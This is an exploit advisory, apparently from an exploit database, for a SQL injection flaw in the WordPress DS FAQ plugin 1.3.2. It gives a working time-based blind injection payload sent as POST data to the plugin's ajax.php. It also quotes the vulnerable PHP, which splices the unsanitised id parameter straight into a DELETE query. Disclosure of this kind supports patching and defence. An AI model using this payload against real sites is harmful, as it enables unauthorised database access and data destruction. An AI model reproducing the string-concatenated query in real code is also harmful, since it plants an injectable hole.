WordPress Plugin DS FAQ 1.3.2 – SQL Injection
# Exploit Title: WordPress WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability # Date: 2011-08-18 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/wp-ds-faq.1.3.2.zip # Version: 1.3.2 (tested) --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/wp-ds-faq/ajax.php action=delete_faqbook&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code --------------- switch($_POST['action']) { ... case 'delete_faqbook': if(!isset($_POST['id'])){ error(); } $id = $_POST['id']; ... $sql = "DELETE FROM `".$table_name."` WHERE `id` = ".$id; $results = $wpdb->query( $sql ); |